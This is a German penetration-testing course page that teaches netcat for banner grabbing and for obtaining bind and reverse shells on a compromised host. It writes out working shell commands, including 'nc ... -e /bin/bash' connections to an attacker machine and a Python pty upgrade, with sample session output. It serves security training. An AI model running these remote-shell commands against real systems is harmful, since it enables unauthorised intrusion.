Nachdem wir jetzt offene Ports bzw. erreichbare Dienste auf einem Zielsystem identifizieren können, können wir auch mit diesen kommunizieren. In den meisten Fällen existieren hierfür schon spezifische Tools. Nehmen wir beispielsweise den TCP-Port 22. Dieser ist bei der IANA (Internet Assigned Numbers Authority) registriert und für SSH standardisiert. Auf einem Debian könnte dafür beispielsweise das Paket openssh-client installiert werden, welches die Tools ssh und scp bereitstellt. Hierbei möchten wir anmerken, dass die standardisierten Ports nur als Vereinbarung gelten und nicht zwangsläufig für die entsprechenden Dienste genutzt bzw. reserviert werden müssen. Im Umkehrschluss bedeutet dies, dass unser o. g. SSH-Server auch über jeden anderen Port erreichbar sein könnte.

Wie können wir aber mit uns nicht bekannten Diensten kommunizieren bzw. wie identifizieren wir überhaupt einen Dienst auf einem Port? Hierfür möchten wir das Tool netcat (nc) vorstellen, welches Daten von der Standardein- oder ausgabe über Netzwerkverbindungen transportiert. Wie wir im Nachfolgenden noch feststellen werden, trägt es seinen Namen Swiss Army Knife zu Recht. Im Allgemeinen bietet netcat zwei Operationsmodi – es kann sowohl als Client oder als Server fungieren, wie die folgenden Befehlszeilen zeigen:

  • Server: nc -l -p ${Port}
  • Client: nc ${Zielserver} ${Zielport}

Mit diesem Wissen liegt es nahe, bei offenen Ports einfach eine Verbindung mit netcat aufzubauen, um mögliche serverseitige Daten zu erhalten. Zur Veranschaulichung wurde mit netcat exemplarisch eine Verbindung zu dem Zielsystem 10.250.53.33 und dem TCP-Port 1035 aufgebaut. Dieser antwortete mit SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3, was als das zugehörige Software-Banner interpretiert werden kann.

~$ nc 10.250.53.33 1035 
SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3

Wir sind also in der Lage, mit netcat zu jedem Dienst eine Verbindung aufzubauen und durch den serverseitigen Response Informationen über den Dienst und dessen Version zu erhalten. Diese Technik wird als banner grabbing bezeichnet. Hierbei sollte jedoch beachtet werden, dass ein Server nicht unbedingt Daten versenden muss. Analog zu TCP können wir mittels netcat auch Datagramme über UDP versenden und wollen hierfür wieder auf die Manpage verweisen (→ man nc).

Mithilfe von netcat können wir aber nicht nur Verbindungen zu Diensten aufbauen, sondern auch die I/O von lokalen Programmen eines Rechners über ein Netzwerk übertragen. Aber warum sollte diese Funktion für uns als Angreifer von Interesse sein? Hierfür müssen wir uns nur kurz an unser eigentliches Ziel erinnern: die vollständige Übernahme bzw. Kompromittierung des Zielsystems. Und welches lokale Programm könnte uns mehr Befehlsgewalt über ein System geben als eine Shell bzw. das Terminal selbst? Sind wir somit in der Lage, durch eine beispielsweise vorausgegangene Sicherheitslücke X einen Befehl auszuführen, können wir dank netcat eine sog. bind- oder reverse shell erhalten.

Wie der Name bind shell schon andeutet, öffnen wir auf dem Zielsystem einen Port und leiten die Ein- und Ausgabe einer Shell, bspw. die bash, dahingehend um. Für eine Befehlsausführung müssen wir uns jetzt nur noch von unserer Angreifermaschine aus mit dem entfernten Port verbinden:

Angreifer:

~$ nc 10.250.53.33 4444 
id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Zielsystem:

www-data@otrs:~$ nc -lvp 4444 -e /bin/bash 
listening on [any] 4444 ... 
10.20.1.14: inverse host lookup failed: Host name lookup failure 
connect to [10.250.53.33] from (UNKNOWN) [10.20.1.14] 59252

Im Gegensatz zur bind shell öffnen wir bei einer reverse shell einen Port auf unserer Angreifermaschine und bauen im zweiten Schritt eine Verbindung vom Zielsystem zu uns auf. Hierbei wird die I/O einer Shell bzw. des Terminals mit dem Socket verbunden. Wie bereits zuvor können wir dann wieder Befehle an unser Zielsystem senden:

Angreifer:

~$ nc -lvp 4444 
listening on [any] 4444 ... 
10.250.53.33: inverse host lookup failed: Unknown host 
connect to [10.20.1.14] from (UNKNOWN) [10.250.53.33] 59805 
id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Zielsystem:

www-data@otrs:~$ nc 10.20.1.14 4444 -e /bin/bash


Interaktive Reverse-Shell während einer netcat-Sitzung mit Python

Eine Reverse-Shell mit netcat ist nicht interaktiv. Dadurch können Tools wie sudo, mysql, su etc. nicht oder nur eingeschränkt genutzt werden. Wenn Python auf dem Zielrechner installiert ist, kann ein Terminal einfach innerhalb der netcat-Session simuliert werden:

python -c 'import pty; pty.spawn("/bin/bash")'

Letzte Änderung: 2022-12-15

Kursinformationen Penetrationstest

Über das Pentest Training

Entdecken Sie die Welt des Penetration Testing. Lernen Sie Netzwerke zu infiltrieren sowie erfolgreich Systeme und Anwendungen zu penetrieren. Eignen Sie sich das notwendige Hacking-Handwerkszeug an und setzen Sie es bei der Durchführung von profesionellen Penetrationstest ein. Werden Sie zum Penetrationstester. Hier finden Sie die öffentlichen und kostenlosen Unterlagen zum Pentest Training der binsec academy GmbH. Die binsec academy GmbH bietet die dazugehörigen virtuellen Labor-Umgebungen und Zertifizierungen an. Das vermittelte Wissen zu Hacking and Penetration Testing ist aber allgemeingültig.

Über binsec academy GmbH

Die binsec academy GmbH ist der europäische Anbieter für Online Security Trainings mit virtuellen Labor-Umgebungen. Kernbestandteil aller Security Trainings ist die Vermittlung von Praxis, Praxis und nochmals Praxis. Im Wiki finden Sie hier die öffentlichen und frei verfügbaren Kurs-Materialien. Die Theorie in die Praxis umsetzen, können sie auf binsec-academy.com.